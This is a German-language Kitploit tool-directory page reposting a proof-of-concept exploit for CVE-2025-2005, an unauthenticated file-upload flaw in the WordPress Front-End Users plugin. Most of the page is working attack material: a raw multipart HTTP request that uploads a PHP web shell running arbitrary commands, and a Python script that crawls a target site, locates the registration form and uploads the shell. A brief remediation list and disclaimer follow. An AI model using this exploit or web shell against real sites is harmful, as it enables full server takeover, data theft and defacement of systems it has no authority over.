Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-2005 — Proof-of-Concept-Exploit für CVE-2025-2005, eine Schwachstelle für beliebiges Datei-Upload im WordPress Front-End Users Plugin (<=3.2.32). Enthält manuelle HTTP- und Python-Exploit-Skripte zum Hochladen von PHP-Web-Shells auf nicht authentifizierte Registrierungsformulare. | Kitploit
Tools/GitHubGitHub/h4ckxel/cve-2025-2005
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

Proof-of-Concept-Exploit für CVE-2025-2005, eine Schwachstelle für beliebiges Datei-Upload im WordPress Front-End Users Plugin (<=3.2.32). Enthält manuelle HTTP- und Python-Exploit-Skripte zum Hochladen von PHP-Web-Shells auf nicht authentifizierte Registrierungsformulare.

Repository anzeigen
13vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-2005 - Pwn in WordPress Front-End Users Plugin

By h4ckxel

Schnellinfo

  • Plugin: Front-End Users
  • Betroffene Versionen: <= 3.2.32
  • Schwachstellentyp: Arbitrary File Upload
  • CVSS-Score: 10 (Kritisch)
  • Risiko: Ermöglicht jedem Angreifer ohne Authentifizierung, beliebige Dateien (z. B. PHP-Webshells) hochzuladen und remote auszuführen, wodurch der gesamte Server kompromittiert wird.

Beschreibung des Bugs

Dieser Exploit nutzt die unzureichende Validierung des Datei-Uploads in den Registrierungsformularen des Plugins aus. Es gibt keine Erweiterungsfilter, Authentifizierungsprüfungen oder Bereinigung der Dateitypen. Ein Angreifer kann eine multipart/form-data-Anfrage an ein beliebiges Registrierungsformular senden und eine schädliche .php-Datei in ein benutzerdefiniertes Feld (z. B. ) einschleusen.

xxploit

Obwohl die hochgeladenen Dateien in wp-content/uploads/ewd_feup_uploads/ mit einem zufälligen Hash im Namen abgelegt werden, bleiben sie ausführbar, wenn PHP im Verzeichnis aktiviert ist.


PoC - Manueller Exploit

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--

Die Datei wird gespeichert unter:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[ZUFÄLLIGER_HASH].php

Der Name ändert sich, kann aber manuell oder mit einem Scanner gefunden werden.


PoC - Python-Exploit

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print(f"[*] Scaneando: {base_url}")

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Error al acceder al sitio.")
    exit()

page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text:
            registration_url = link
            print(f"[+] Form de registro encontrado en: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
    exit()

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
    'ewd-feup-action': 'register',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}

print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)

if upload_response.status_code == 200:
    print("[+] Upload completado.")
else:
    print("[-] Falló la subida.")

Lösung

Aktualisieren Sie das Plugin auf die neueste sichere Version (falls vorhanden) oder deaktivieren Sie es vorübergehend, wenn kein Patch verfügbar ist. Zusätzlich:

  • Blockieren Sie die Ausführung von PHP in wp-content/uploads/.
  • Implementieren Sie Erweiterungs- und Dateityp-Validierungen im Formular.
  • Beschränken Sie Uploads auf authentifizierte Benutzer.

Disclaimer

Dieser PoC dient nur zu Bildungszwecken und für autorisierte Sicherheitstests. Sei kein Script-Kiddie, verwende dies verantwortungsbewusst und nur in Umgebungen, in denen du die Erlaubnis hast.

Tool herunterladen